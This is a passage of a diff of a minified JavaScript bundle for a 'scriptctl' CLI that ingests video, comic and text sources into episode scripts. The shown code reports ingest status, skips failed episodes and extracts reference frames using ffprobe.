${g.assets.locations} locations / ${g.assets.props} props`],h=[...u.usageEvents()].reverse().find(_=>_.task==="ingest.video-serial"&&_.status==="succeeded")??y;return[{text:w.join(`
328
- `),data:{workspace:g.workspacePath,script_path:g.scriptPath,episodes:g.episodes,processed:g.processed,reused:g.reused,parsed:g.completed-g.skipped,skipped:g.skipped,skipped_episodes:g.skippedEpisodes,has_skips:g.skipped>0,completed:g.completed,remaining:g.remaining,complete:g.complete,next_episode:g.nextEpisode,upload_mode:g.uploadMode,route:{protocol:h.protocol,provider:h.provider,base_url:h.baseUrl,model:h.model},assets:g.assets}},G]}let s=t.createExecutor(wr(e.llm_config).trim()||void 0),c=await kh({sourcePath:n,workspacePath:o,executor:s,concurrency:Py(e.concurrency,30),force:!!e.force});return[{text:[`workspace: ${c.workspacePath}`,`${c.records} records, ${c.chunks} chunks \u2192 ${c.scriptPath}`,`assets: ${c.assets.actors} actors / ${c.assets.locations} locations / ${c.assets.props} props`].join(`
329
- `),data:{workspace:c.workspacePath,script_path:c.scriptPath,records:c.records,chunks:c.chunks,assets:c.assets}},G]}import*as $t from"node:fs";import*as Dt from"node:path";var uk=e=>e==null?"":String(e);function Vy(e){try{let t=JSON.parse($t.readFileSync(Dt.join(e,"timings.json"),"utf-8"));return Eh(t,Date.now())}catch{return null}}function pc(e,t,n){let o=Dt.join(e,t),i;try{i=$t.readdirSync(o)}catch{return[]}return i.filter(r=>r.endsWith(n)).sort()}var fk=(e,t,n)=>pc(e,t,n).length,$l=(e,t)=>$t.existsSync(Dt.join(e,t));function mk(e){try{return JSON.parse($t.readFileSync(Dt.join(e,"manifest.json"),"utf-8"))}catch{return null}}function gk(e){try{let t=JSON.parse($t.readFileSync(Dt.join(e,"validation.json"),"utf-8"));return{ok:!!t.ok,errors:t.errors?.length??0,warnings:t.warnings?.length??0}}catch{return null}}function Cl(e,t,n){return{pass:e,unit:t,phase:e,attempts:[],...Ut({failure_type:"unknown",failure_code:"legacy_unclassified"},{retryable:e==="pass2",message:n})}}function hk(e,t,n){try{let o=JSON.parse($t.readFileSync(Dt.join(e,t,`${n}.error.json`),"utf-8")),i=ms(o);return i?{pass:t,unit:n,phase:i.phase,attempts:i.attempts,...i.failure}:typeof o=="object"&&o!==null&&"error"in o&&typeof o.error=="string"?Cl(t,n,o.error):Cl(t,n,"Error sidecar has an unsupported schema.")}catch{return Cl(t,n,"Error sidecar is unreadable.")}}function yk(e,t,n=new Set){return pc(e,t,".error.json").map(o=>o.replace(/\.error\.json$/,"")).filter(o=>!n.has(o)).map(o=>hk(e,t,o))}function wk(e,t,n){let o=ms(e.current_error);if(!o)return[];let i=`ep_${String(o.unit.episode).padStart(3,"0")}`;return o.unit.episode<=t||n.has(i)?[]:[{pass:"ep",unit:i,phase:o.phase,attempts:o.attempts,...o.failure}]}function Tl(e){let t={};for(let o of e)t[o.failure_type]=(t[o.failure_type]??0)+1;let n=e.filter(o=>o.retryable).length;return{total:e.length,retryable:n,terminal:e.length-n,by_type:t}}function _k(e){try{let t=JSON.parse($t.readFileSync(Dt.join(e,"body.json"),"utf-8"));return Array.isArray(t.episodes)?t.episodes.length:0}catch{return 0}}function Ek(e){try{let t=JSON.parse($t.readFileSync(Dt.join(e,"script.json"),"utf-8"));return t.version===4&&Array.isArray(t.episodes)?t.episodes.length:null}catch{return null}}function xk(e,t,n){try{let o;return n==="comic"?o=JSON.parse($t.readFileSync(Dt.join(e,"checkpoint.json"),"utf-8")).context:o=JSON.parse($t.readFileSync(Dt.join(e,"context.json"),"utf-8")),typeof o.lastEpisode=="number"&&Number.isInteger(o.lastEpisode)?Math.min(Math.max(o.lastEpisode,0),t):0}catch{return 0}}function Sk(e,t){let n=t.chunks??0,o={total:n,done:pc(e,"pass2",".json").filter(a=>/^chunk_\d+\.json$/.test(a)).length,failed:fk(e,"pass2",".error.json")},i=_k(e),r=pc(e,"serial",".json").reduce((a,d)=>{let p=d.match(/^win_(\d+)_(\d+)\.json$/);return p?a+(Number(p[2])-Number(p[1])+1):a},0),s={total:i,done:r,failed:0};return{passes:[{name:"normalize",done:n>0&&o.done>=n&&o.failed===0,unit:o},{name:"assemble",done:$l(e,"body.json")},{name:"serial",done:i>0&&r>=i,unit:s},{name:"govern",done:$l(e,"script.json")}],units:o}}function Ik(e,t,n,o,i){let r=t.episodes?.length??0,s=o-n.filter(d=>d.episode<=o).length,c={total:r,done:o,failed:i};return{passes:[{name:"serial",done:r>0&&c.done>=r&&c.failed===0,unit:c},{name:"finalize",done:o>=r&&Ek(e)===o}],units:c,parsed:s}}function ws(e){let t=Dt.resolve(e),n=mk(t);if(!n)return{workspace:t,exists:!1,kind:null,state:"empty",phase:"none",passes:[],units:null,script:!1,validation:null,failure_summary:Tl([]),errors:[],updated:null,timings:null};let o=n.source?.kind==="text"?"text":n.source?.kind?.startsWith("comic-")?"comic":"video",i=n.episodes?.length??0,r=o!=="text"?xk(t,i,o):0,s=o!=="text"&&r<i,c=o==="video"?n.skips??[]:[],a=new Set(c.map(E=>`ep_${String(E.episode).padStart(3,"0")}`)),d=o!=="text"&&r<i?wk(n,r,a):[],p=o!=="text"?Ik(t,n,c,r,d.length):null,{passes:l,units:f}=o==="text"?Sk(t,n):p,u=o==="text"?yk(t,"pass2"):d;if(s){let E=c.filter(A=>A.episode<=r);return{workspace:t,exists:!0,kind:o,state:u.length>0?"failed":"incomplete",phase:"serial",passes:l,units:f,script:r>0,validation:null,failure_summary:Tl(u),errors:u,updated:n.updated??null,timings:Vy(t),completed:r,remaining:i-r,complete:!1,next_episode:r+1,parsed:p?.parsed??r,skipped:E.length,skipped_episodes:c.map(A=>A.episode),has_skips:c.length>0,skips:c.map(A=>({episode:A.episode,skipped_at:A.skipped_at,reason:A.reason,failure_type:A.failure.failure_type,failure_code:A.failure.failure_code}))}}let y=$l(t,"script.json"),m=gk(t);m&&!m.ok&&u.push({pass:"finalize",unit:"script",phase:"validation",attempts:[],...Ut({failure_type:"validation",failure_code:"script_validation_failed"},{retryable:!1,message:`Script validation failed with ${m.errors} error(s).`})});let g,w=l.length>0&&l.every(E=>E.done);(o==="text"||w)&&y&&m?.ok?g="ready":u.length>0||m&&!m.ok?g="failed":g="incomplete";let h=l.find(E=>!E.done),_=g==="ready"?"done":h?h.name:"done",x=o!=="text"?{completed:f.done,remaining:Math.max(0,f.total-f.done),complete:f.total>0&&f.done>=f.total&&f.failed===0,next_episode:f.done>=f.total?null:f.done+1,parsed:p?.parsed??0,skipped:c.filter(E=>E.episode<=f.done).length,skipped_episodes:c.map(E=>E.episode),has_skips:c.length>0,skips:c.map(E=>({episode:E.episode,skipped_at:E.skipped_at,reason:E.reason,failure_type:E.failure.failure_type,failure_code:E.failure.failure_code}))}:{};return{workspace:t,exists:!0,kind:o,state:g,phase:_,passes:l,units:f,script:y,validation:m,failure_summary:Tl(u),errors:u,updated:n.updated??null,timings:Vy(t),...x}}function Ak(e){let t=`${e.done}/${e.total}`;return e.failed>0?`${t} (${e.failed} failed)`:t}function kk(e){if(!e.exists)return[`no ingest workspace at ${e.workspace}`];let t=`${e.kind} ingest: ${e.state} (phase=${e.phase})`,n=e.passes.map(i=>`${i.name} ${i.unit?Ak(i.unit):i.done?"\u2713":"-"}`).join(" "),o=[t,n];if(e.timings&&o.push(bk(e.timings)),e.validation&&o.push(`validation: ${e.validation.ok?"ok":`${e.validation.errors} errors`}, ${e.validation.warnings} warnings`),e.has_skips&&o.push(`skipped episodes: ${e.skipped_episodes?.join(", ")}`),e.state==="failed"){for(let i of e.errors.slice(0,3))o.push(`${i.unit}: ${i.failure_type}/${i.failure_code} \xB7 ${i.retryable?"retryable":"terminal"}`);e.failure_summary.retryable>0&&o.push("rerun `scriptctl ingest` to resume retryable failures"),(e.failure_summary.by_type.policy??0)>0&&o.push("provider policy blocked the source; rerunning the same source is unlikely to help"),((e.failure_summary.by_type.authentication??0)>0||(e.failure_summary.by_type.authorization??0)>0)&&o.push("check provider credentials and permissions before rerunning")}return o}function Vl(e){let t=Math.round(e/1e3);return t>=60?`${Math.floor(t/60)}m${String(t%60).padStart(2,"0")}s`:`${t}s`}function bk(e){let t=[`elapsed ${Vl(e.elapsedMs)}${e.done?"":" (running)"}`],n=e.serial;return n&&(t.push(`serial ${n.doneWindows}/${n.totalWindows} windows (${n.doneEpisodes}/${n.totalEpisodes} eps)`),n.avgWindowMs!=null&&t.push(`~${Vl(n.avgWindowMs)}/window`),n.etaMs!=null&&!e.done&&t.push(`eta ~${Vl(n.etaMs)}`)),t.join(" \xB7 ")}function $y(e){let t=uk(e.workspace_path||"workspace"),n=ws(t);return[{text:kk(n).join(`
330
- `),data:{status:n}},G]}import*as lc from"node:path";function Nn(e,t,n,o){return new S(e,{exitCode:b,errorCode:t,hint:n,data:{actual:o}})}function vk(e){let t=Number(e);if(!Number.isInteger(t)||t<=0)throw Nn("--episode must be a positive integer.","INGEST_SKIP_EPISODE_INVALID","Pass the current next_episode from `scriptctl ingest status`.",[String(e)]);return t}async function Ok(e,t,n){let o=new mt(e);if(!o.has("manifest.json"))throw Nn("The ingest workspace does not exist.","INGEST_SKIP_WORKSPACE_MISSING","Run video ingest first, then retry the failed episode or skip it.",[e]);let i=o.readJson("manifest.json");if(i.source?.kind!=="video-file"&&i.source?.kind!=="video-directory")throw Nn("Only video ingest episodes can be skipped.","INGEST_SKIP_WRONG_PIPELINE","Use skip only with a video ingest workspace.",[e]);let r=Ul(o);if(!r)throw Nn("The video ingest manifest is missing.","INGEST_SKIP_WORKSPACE_MISSING","Run video ingest first.",[e]);let s=r.episodes.find(w=>w.episode===t);if(!s)throw Nn("The requested episode is not in the video source.","INGEST_SKIP_EPISODE_NOT_FOUND","Pass an episode listed in manifest.json.",[`episode=${t}`]);let c=Ll(o);rc(c.episodes,r.episodes);let a=o.has("context.json")?o.readJson("context.json"):Bo();if(c.episodes.find(w=>w.episode===t)){let w=Pl(o,r);a=hs(o,a,c.episodes);let h=o.has("v4_identity_map.json")?o.readJson("v4_identity_map.json"):Do();return ac(o,w.episodes,a,cc(w.source.path),h,c.episodes),!1}let p=a.lastEpisode+1;if(t!==p)throw Nn("Only the next unresolved video episode can be skipped.","INGEST_SKIP_NOT_NEXT","Read status.next_episode and skip exactly that episode.",[`requested=${t}`,`next_episode=${p}`]);let l=`ep/ep_${String(t).padStart(3,"0")}`;if(o.has(`${l}.json`))throw Nn("A parsed episode cannot be skipped.","INGEST_SKIP_ALREADY_PARSED","Continue ingest from the next unresolved episode.",[`episode=${t}`]);if(!o.has(`${l}.error.json`))throw Nn("The episode has no recorded ingest failure.","INGEST_SKIP_FAILURE_REQUIRED","Run ingest for this episode first; a typed error sidecar is required before manual skip.",[`episode=${t}`]);let f=ms(o.readJson(`${l}.error.json`));if(!f||f.unit.episode!==t)throw Nn("The episode error sidecar is invalid.","INGEST_SKIP_FAILURE_INVALID","Regenerate the typed failure by rerunning video ingest.",[`${l}.error.json`]);let u={episode:t,skipped_at:new Date().toISOString(),reason:n,source_sha256:s.sha256,failure:f.failure,attempts:f.attempts},y=Pl(o,r),m=[...c.episodes,u];o.writeJson("manifest.json",{...y,updated:u.skipped_at,current_error:void 0,skips:m}),vy(o,{schema_version:1,episodes:m}),a=hs(o,a,m);let g=o.has("v4_identity_map.json")?o.readJson("v4_identity_map.json"):Do();return ac(o,y.episodes,a,cc(y.source.path),g,[...c.episodes,u]),!0}async function Dy(e){let t=lc.resolve(typeof e.workspace_path=="string"?e.workspace_path:"workspace"),n=vk(e.episode),o=typeof e.reason=="string"?e.reason.trim():"";if(!o)throw Nn("--reason is required.","INGEST_SKIP_REASON_REQUIRED","Record why this episode cannot be parsed.",["--reason <text>"]);let i=await Ko(t,()=>Ok(t,n,o)),r=ws(t),s=Ll(new mt(t)).episodes.map(c=>c.episode);return[{text:i?`Episode ${n} skipped; ingest can continue at episode ${r.next_episode??"end"}.`:`Episode ${n} was already skipped; no changes made.`,data:{workspace:t,episode:n,changed:i,skipped_episodes:s,complete:r.complete??!1,next_episode:r.next_episode??null,script_path:lc.join(t,"script.json")}},G]}import*as fc from"node:fs";import*as Oi from"node:path";import{spawnSync as Rk}from"node:child_process";function uc(e,t,n,o){return new S(e,{exitCode:b,errorCode:t,hint:n,data:{actual:o}})}function Mk(e){let t=tc(vn(e)),n=Wa(t);if(n)throw uc("Video episode files are not a continuous 1..N sequence.","EVIDENCE_VIDEO_SEQUENCE_INVALID","Rename the linked videos so every script episode has one matching numbered file.",[n]);return t.map(o=>{let i=Oi.resolve(o.path),r=fc.statSync(i),s=r.size,c=Math.trunc(r.mtimeMs),a=Rk("ffprobe",["-v","error","-show_entries","format=duration","-of","default=noprint_wrappers=1:nokey=1",i],{encoding:"utf-8"}),d=Number(a.stdout.trim()),p=a.status===0&&Number.isFinite(d)&&d>0?Math.round(d*1e3):void 0;return{episode:o.episode,path:i,ext:o.ext,mime:o.mime,sha256:_e(JSON.stringify({absolutePath:i,sizeBytes:s,mtimeMs:c})),size_bytes:s,mtime_ms:c,duration_ms:p}})}async function Lk(e){let t=Oi.resolve(e.scriptPath),n=Oi.resolve(e.sourcePath),o=Oi.resolve(e.workspacePath),i=Gi(JSON.parse(fc.readFileSync(t,"utf-8"))),r=Mk(n);if(r.length!==i.episodes.length)throw uc("The linked video count does not match the script episode count.","EVIDENCE_VIDEO_EPISODE_COUNT_MISMATCH","Bind the complete source-video folder for this script, then retry.",[`script=${i.episodes.length}`,`videos=${r.length}`]);let s=nc(r),c=Xa([],i,Bo(),r,s),a=await Ko(o,async()=>{let p=new mt(o);return p.ensure(),oc(p,c,e.signal,e.extractor,{reuseExistingFrames:e.force!==!0})}),d=[...a.items.flatMap(p=>p.samples),...(a.identities??[]).flatMap(p=>p.samples)];return{output:Oi.join(o,"evidence","state-evidence.json"),states:a.items.length,identities:a.identities?.length??0,samples:d.length,ready:d.filter(p=>p.frame_status==="ready").length,unavailable:d.filter(p=>p.frame_status==="unavailable").length,sourceSha256:s}}async function Gy(e){let t=me(e),n=typeof e.source_path=="string"?e.source_path.trim():"",o=typeof e.workspace_path=="string"?e.workspace_path.trim():"";if(!n)throw uc("--source-path is required.","EVIDENCE_SOURCE_REQUIRED","Pass the linked source-video file or folder.",["--source-path <path>"]);if(!o)throw uc("--workspace-path is required.","EVIDENCE_WORKSPACE_REQUIRED","Pass the project workspace directory.",["--workspace-path <path>"]);let i=await Lk({scriptPath:t,sourcePath:n,workspacePath:o,force:e.force===!0});return[{text:`Generated ${i.ready}/${i.samples} original-video reference frames for ${i.states} actor states.`,data:{output:i.output,states:i.states,identities:i.identities,samples:i.samples,ready:i.ready,unavailable:i.unavailable,source_sha256:i.sourceSha256}},G]}import*as Ho from"node:fs";import*as mc from"node:path";var bt=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),po=e=>Array.isArray(e),He=e=>typeof e=="string"?e:"",Nk={interior:"\u5185",exterior:"\u5916"},Uk={day:"\u65E5",night:"\u591C"},Pk=e=>{let t=e.match(/(\d+)/);return t?Number(t[1]):0},Ck=e=>{let t=e.match(/(\d+)/);return t?Number(t[1]):0};function Dl(e,t,n){let o=new Map;if(po(e))for(let i of e)bt(i)&&typeof i[t]=="string"&&o.set(i[t],He(i[n]));return o}function Tk(e,t){let n=new Map;if(po(e))for(let o of e){if(!bt(o)||typeof o[t]!="string")continue;let i=new Map;for(let r of po(o.states)?o.states:[])bt(r)&&typeof r.state_id=="string"&&i.set(r.state_id,He(r.state_name));n.set(o[t],i)}return n}function Vk(e,t){return bt(e)?typeof e.actor_id=="string"?t.get(e.actor_id)??e.actor_id:typeof e.kind=="string"?`${e.kind}${e.label?`:${He(e.label)}`:""}`:"":""}function $k(e){let t=Dl(e.actors,"actor_id","actor_name"),n=Dl(e.locations,"location_id","location_name"),o=Dl(e.props,"prop_id","prop_name"),i=Tk(e.actors,"actor_id"),r=(po(e.episodes)?e.episodes:[]).filter(bt).map(c=>({episode:Pk(He(c.episode_id)),synopsis:He(c.synopsis),scenes:(po(c.scenes)?c.scenes:[]).filter(bt).map(a=>{let d=bt(a.location)?n.get(He(a.location.location_id))??He(a.location.location_id):"",p=[],l={};for(let y of po(a.actors)?a.actors:[]){if(!bt(y)||typeof y.actor_id!="string")continue;let m=t.get(y.actor_id)??y.actor_id;if(p.includes(m)||p.push(m),typeof y.state_id=="string"){let w=(i.get(y.actor_id)?.get(y.state_id)??"")||(y.state_id!=="default"?y.state_id:"");w&&(l[m]=w)}}let f=[];for(let y of po(a.props)?a.props:[])if(bt(y)&&typeof y.prop_id=="string"){let m=o.get(y.prop_id)??y.prop_id;f.includes(m)||f.push(m)}let u=bt(a.environment)?a.environment:{};return{scene_num:Ck(He(a.scene_id)),location_name:d,environment:{space:Nk[He(u.space)]??He(u.space),time:Uk[He(u.time)]??He(u.time)},actor_names:p,actor_states:l,prop_names:f,actions:(po(a.actions)?a.actions:[]).filter(bt).map(y=>({type:He(y.type),content:He(y.content),speaker:Vk(y.speaker,t),emotion:typeof y.emotion=="string"?y.emotion:void 0,extend:bt(y.extend)&&typeof y.extend.timestamp=="string"?{timestamp:y.extend.timestamp}:void 0}))}})})),s=(po(e.actors)?e.actors:[]).filter(bt).map(c=>({asset_name:He(c.actor_name),description:He(c.description),extend:{}}));return{title:He(e.title),actors:s,episodes:r}}function By(e){if(!bt(e))throw new Error("review renderer expects a script object");let t=$k(e),n=JSON.stringify(t),o=He(t.title);return`<!DOCTYPE html>
327
+ assets: ${l.assets.actors} actors / ${l.assets.locations} locations / ${l.assets.props} props`,data:l},G]}if(i.kind!=="text"){let d=dk(e),p=pk(e),l=lk(e),f=l?{videoProvider:l}:void 0,u=t.createExecutor(hr(e.llm_config).trim()||void 0,f),y=u.route("ingest.video-serial"),m=d??y.videoUploadMode??"file-api";if(l?.provider==="doubao"&&m!=="file-api")throw ao("Doubao requires --upload-mode file-api.",["--upload-mode file-api"]);let g=await Ny({sourcePath:n,workspacePath:o,executor:u,fps:Uy(e.fps,3),force:!!e.force,step:!!e.step,uploadMode:m,...p?{outputFormat:p}:{}}),w=[`workspace: ${g.workspacePath}`,`${g.completed}/${g.episodes} episodes complete (${g.processed} processed / ${g.reused} reused / ${g.remaining} remaining) \u2192 ${g.scriptPath}`,...g.skipped>0?[`skipped: ${g.skippedEpisodes.join(", ")}`]:[],`assets: ${g.assets.actors} actors / ${g.assets.locations} locations / ${g.assets.props} props`],h=[...u.usageEvents()].reverse().find(_=>_.task==="ingest.video-serial"&&_.status==="succeeded")??y;return[{text:w.join(`
328
+ `),data:{workspace:g.workspacePath,script_path:g.scriptPath,episodes:g.episodes,processed:g.processed,reused:g.reused,parsed:g.completed-g.skipped,skipped:g.skipped,skipped_episodes:g.skippedEpisodes,has_skips:g.skipped>0,completed:g.completed,remaining:g.remaining,complete:g.complete,next_episode:g.nextEpisode,upload_mode:g.uploadMode,route:{protocol:h.protocol,provider:h.provider,base_url:h.baseUrl,model:h.model},assets:g.assets}},G]}let s=t.createExecutor(hr(e.llm_config).trim()||void 0),c=await Ah({sourcePath:n,workspacePath:o,executor:s,concurrency:Uy(e.concurrency,30),force:!!e.force});return[{text:[`workspace: ${c.workspacePath}`,`${c.records} records, ${c.chunks} chunks \u2192 ${c.scriptPath}`,`assets: ${c.assets.actors} actors / ${c.assets.locations} locations / ${c.assets.props} props`].join(`
329
+ `),data:{workspace:c.workspacePath,script_path:c.scriptPath,records:c.records,chunks:c.chunks,assets:c.assets}},G]}import*as $t from"node:fs";import*as Dt from"node:path";var uk=e=>e==null?"":String(e);function Ty(e){try{let t=JSON.parse($t.readFileSync(Dt.join(e,"timings.json"),"utf-8"));return _h(t,Date.now())}catch{return null}}function dc(e,t,n){let o=Dt.join(e,t),i;try{i=$t.readdirSync(o)}catch{return[]}return i.filter(r=>r.endsWith(n)).sort()}var fk=(e,t,n)=>dc(e,t,n).length,Vl=(e,t)=>$t.existsSync(Dt.join(e,t));function mk(e){try{return JSON.parse($t.readFileSync(Dt.join(e,"manifest.json"),"utf-8"))}catch{return null}}function gk(e){try{let t=JSON.parse($t.readFileSync(Dt.join(e,"validation.json"),"utf-8"));return{ok:!!t.ok,errors:t.errors?.length??0,warnings:t.warnings?.length??0}}catch{return null}}function Pl(e,t,n){return{pass:e,unit:t,phase:e,attempts:[],...Ut({failure_type:"unknown",failure_code:"legacy_unclassified"},{retryable:e==="pass2",message:n})}}function hk(e,t,n){try{let o=JSON.parse($t.readFileSync(Dt.join(e,t,`${n}.error.json`),"utf-8")),i=us(o);return i?{pass:t,unit:n,phase:i.phase,attempts:i.attempts,...i.failure}:typeof o=="object"&&o!==null&&"error"in o&&typeof o.error=="string"?Pl(t,n,o.error):Pl(t,n,"Error sidecar has an unsupported schema.")}catch{return Pl(t,n,"Error sidecar is unreadable.")}}function yk(e,t,n=new Set){return dc(e,t,".error.json").map(o=>o.replace(/\.error\.json$/,"")).filter(o=>!n.has(o)).map(o=>hk(e,t,o))}function wk(e,t,n){let o=us(e.current_error);if(!o)return[];let i=`ep_${String(o.unit.episode).padStart(3,"0")}`;return o.unit.episode<=t||n.has(i)?[]:[{pass:"ep",unit:i,phase:o.phase,attempts:o.attempts,...o.failure}]}function Cl(e){let t={};for(let o of e)t[o.failure_type]=(t[o.failure_type]??0)+1;let n=e.filter(o=>o.retryable).length;return{total:e.length,retryable:n,terminal:e.length-n,by_type:t}}function _k(e){try{let t=JSON.parse($t.readFileSync(Dt.join(e,"body.json"),"utf-8"));return Array.isArray(t.episodes)?t.episodes.length:0}catch{return 0}}function Ek(e){try{let t=JSON.parse($t.readFileSync(Dt.join(e,"script.json"),"utf-8"));return t.version===4&&Array.isArray(t.episodes)?t.episodes.length:null}catch{return null}}function xk(e,t,n){try{let o;return n==="comic"?o=JSON.parse($t.readFileSync(Dt.join(e,"checkpoint.json"),"utf-8")).context:o=JSON.parse($t.readFileSync(Dt.join(e,"context.json"),"utf-8")),typeof o.lastEpisode=="number"&&Number.isInteger(o.lastEpisode)?Math.min(Math.max(o.lastEpisode,0),t):0}catch{return 0}}function Sk(e,t){let n=t.chunks??0,o={total:n,done:dc(e,"pass2",".json").filter(a=>/^chunk_\d+\.json$/.test(a)).length,failed:fk(e,"pass2",".error.json")},i=_k(e),r=dc(e,"serial",".json").reduce((a,d)=>{let p=d.match(/^win_(\d+)_(\d+)\.json$/);return p?a+(Number(p[2])-Number(p[1])+1):a},0),s={total:i,done:r,failed:0};return{passes:[{name:"normalize",done:n>0&&o.done>=n&&o.failed===0,unit:o},{name:"assemble",done:Vl(e,"body.json")},{name:"serial",done:i>0&&r>=i,unit:s},{name:"govern",done:Vl(e,"script.json")}],units:o}}function Ik(e,t,n,o,i){let r=t.episodes?.length??0,s=o-n.filter(d=>d.episode<=o).length,c={total:r,done:o,failed:i};return{passes:[{name:"serial",done:r>0&&c.done>=r&&c.failed===0,unit:c},{name:"finalize",done:o>=r&&Ek(e)===o}],units:c,parsed:s}}function hs(e){let t=Dt.resolve(e),n=mk(t);if(!n)return{workspace:t,exists:!1,kind:null,state:"empty",phase:"none",passes:[],units:null,script:!1,validation:null,failure_summary:Cl([]),errors:[],updated:null,timings:null};let o=n.source?.kind==="text"?"text":n.source?.kind?.startsWith("comic-")?"comic":"video",i=n.episodes?.length??0,r=o!=="text"?xk(t,i,o):0,s=o!=="text"&&r<i,c=o==="video"?n.skips??[]:[],a=new Set(c.map(E=>`ep_${String(E.episode).padStart(3,"0")}`)),d=o!=="text"&&r<i?wk(n,r,a):[],p=o!=="text"?Ik(t,n,c,r,d.length):null,{passes:l,units:f}=o==="text"?Sk(t,n):p,u=o==="text"?yk(t,"pass2"):d;if(s){let E=c.filter(A=>A.episode<=r);return{workspace:t,exists:!0,kind:o,state:u.length>0?"failed":"incomplete",phase:"serial",passes:l,units:f,script:r>0,validation:null,failure_summary:Cl(u),errors:u,updated:n.updated??null,timings:Ty(t),completed:r,remaining:i-r,complete:!1,next_episode:r+1,parsed:p?.parsed??r,skipped:E.length,skipped_episodes:c.map(A=>A.episode),has_skips:c.length>0,skips:c.map(A=>({episode:A.episode,skipped_at:A.skipped_at,reason:A.reason,failure_type:A.failure.failure_type,failure_code:A.failure.failure_code}))}}let y=Vl(t,"script.json"),m=gk(t);m&&!m.ok&&u.push({pass:"finalize",unit:"script",phase:"validation",attempts:[],...Ut({failure_type:"validation",failure_code:"script_validation_failed"},{retryable:!1,message:`Script validation failed with ${m.errors} error(s).`})});let g,w=l.length>0&&l.every(E=>E.done);(o==="text"||w)&&y&&m?.ok?g="ready":u.length>0||m&&!m.ok?g="failed":g="incomplete";let h=l.find(E=>!E.done),_=g==="ready"?"done":h?h.name:"done",x=o!=="text"?{completed:f.done,remaining:Math.max(0,f.total-f.done),complete:f.total>0&&f.done>=f.total&&f.failed===0,next_episode:f.done>=f.total?null:f.done+1,parsed:p?.parsed??0,skipped:c.filter(E=>E.episode<=f.done).length,skipped_episodes:c.map(E=>E.episode),has_skips:c.length>0,skips:c.map(E=>({episode:E.episode,skipped_at:E.skipped_at,reason:E.reason,failure_type:E.failure.failure_type,failure_code:E.failure.failure_code}))}:{};return{workspace:t,exists:!0,kind:o,state:g,phase:_,passes:l,units:f,script:y,validation:m,failure_summary:Cl(u),errors:u,updated:n.updated??null,timings:Ty(t),...x}}function Ak(e){let t=`${e.done}/${e.total}`;return e.failed>0?`${t} (${e.failed} failed)`:t}function kk(e){if(!e.exists)return[`no ingest workspace at ${e.workspace}`];let t=`${e.kind} ingest: ${e.state} (phase=${e.phase})`,n=e.passes.map(i=>`${i.name} ${i.unit?Ak(i.unit):i.done?"\u2713":"-"}`).join(" "),o=[t,n];if(e.timings&&o.push(bk(e.timings)),e.validation&&o.push(`validation: ${e.validation.ok?"ok":`${e.validation.errors} errors`}, ${e.validation.warnings} warnings`),e.has_skips&&o.push(`skipped episodes: ${e.skipped_episodes?.join(", ")}`),e.state==="failed"){for(let i of e.errors.slice(0,3))o.push(`${i.unit}: ${i.failure_type}/${i.failure_code} \xB7 ${i.retryable?"retryable":"terminal"}`);e.failure_summary.retryable>0&&o.push("rerun `scriptctl ingest` to resume retryable failures"),(e.failure_summary.by_type.policy??0)>0&&o.push("provider policy blocked the source; rerunning the same source is unlikely to help"),((e.failure_summary.by_type.authentication??0)>0||(e.failure_summary.by_type.authorization??0)>0)&&o.push("check provider credentials and permissions before rerunning")}return o}function Tl(e){let t=Math.round(e/1e3);return t>=60?`${Math.floor(t/60)}m${String(t%60).padStart(2,"0")}s`:`${t}s`}function bk(e){let t=[`elapsed ${Tl(e.elapsedMs)}${e.done?"":" (running)"}`],n=e.serial;return n&&(t.push(`serial ${n.doneWindows}/${n.totalWindows} windows (${n.doneEpisodes}/${n.totalEpisodes} eps)`),n.avgWindowMs!=null&&t.push(`~${Tl(n.avgWindowMs)}/window`),n.etaMs!=null&&!e.done&&t.push(`eta ~${Tl(n.etaMs)}`)),t.join(" \xB7 ")}function Vy(e){let t=uk(e.workspace_path||"workspace"),n=hs(t);return[{text:kk(n).join(`
330
+ `),data:{status:n}},G]}import*as pc from"node:path";function Ln(e,t,n,o){return new S(e,{exitCode:b,errorCode:t,hint:n,data:{actual:o}})}function vk(e){let t=Number(e);if(!Number.isInteger(t)||t<=0)throw Ln("--episode must be a positive integer.","INGEST_SKIP_EPISODE_INVALID","Pass the current next_episode from `scriptctl ingest status`.",[String(e)]);return t}async function Ok(e,t,n){let o=new mt(e);if(!o.has("manifest.json"))throw Ln("The ingest workspace does not exist.","INGEST_SKIP_WORKSPACE_MISSING","Run video ingest first, then retry the failed episode or skip it.",[e]);let i=o.readJson("manifest.json");if(i.source?.kind!=="video-file"&&i.source?.kind!=="video-directory")throw Ln("Only video ingest episodes can be skipped.","INGEST_SKIP_WRONG_PIPELINE","Use skip only with a video ingest workspace.",[e]);let r=Nl(o);if(!r)throw Ln("The video ingest manifest is missing.","INGEST_SKIP_WORKSPACE_MISSING","Run video ingest first.",[e]);let s=r.episodes.find(w=>w.episode===t);if(!s)throw Ln("The requested episode is not in the video source.","INGEST_SKIP_EPISODE_NOT_FOUND","Pass an episode listed in manifest.json.",[`episode=${t}`]);let c=Ml(o);ic(c.episodes,r.episodes);let a=o.has("context.json")?o.readJson("context.json"):Go();if(c.episodes.find(w=>w.episode===t)){let w=Ul(o,r);a=ms(o,a,c.episodes);let h=o.has("v4_identity_map.json")?o.readJson("v4_identity_map.json"):$o();return sc(o,w.episodes,a,ac(w.source.path),h,c.episodes),!1}let p=a.lastEpisode+1;if(t!==p)throw Ln("Only the next unresolved video episode can be skipped.","INGEST_SKIP_NOT_NEXT","Read status.next_episode and skip exactly that episode.",[`requested=${t}`,`next_episode=${p}`]);let l=`ep/ep_${String(t).padStart(3,"0")}`;if(o.has(`${l}.json`))throw Ln("A parsed episode cannot be skipped.","INGEST_SKIP_ALREADY_PARSED","Continue ingest from the next unresolved episode.",[`episode=${t}`]);if(!o.has(`${l}.error.json`))throw Ln("The episode has no recorded ingest failure.","INGEST_SKIP_FAILURE_REQUIRED","Run ingest for this episode first; a typed error sidecar is required before manual skip.",[`episode=${t}`]);let f=us(o.readJson(`${l}.error.json`));if(!f||f.unit.episode!==t)throw Ln("The episode error sidecar is invalid.","INGEST_SKIP_FAILURE_INVALID","Regenerate the typed failure by rerunning video ingest.",[`${l}.error.json`]);let u={episode:t,skipped_at:new Date().toISOString(),reason:n,source_sha256:s.sha256,failure:f.failure,attempts:f.attempts},y=Ul(o,r),m=[...c.episodes,u];o.writeJson("manifest.json",{...y,updated:u.skipped_at,current_error:void 0,skips:m}),by(o,{schema_version:1,episodes:m}),a=ms(o,a,m);let g=o.has("v4_identity_map.json")?o.readJson("v4_identity_map.json"):$o();return 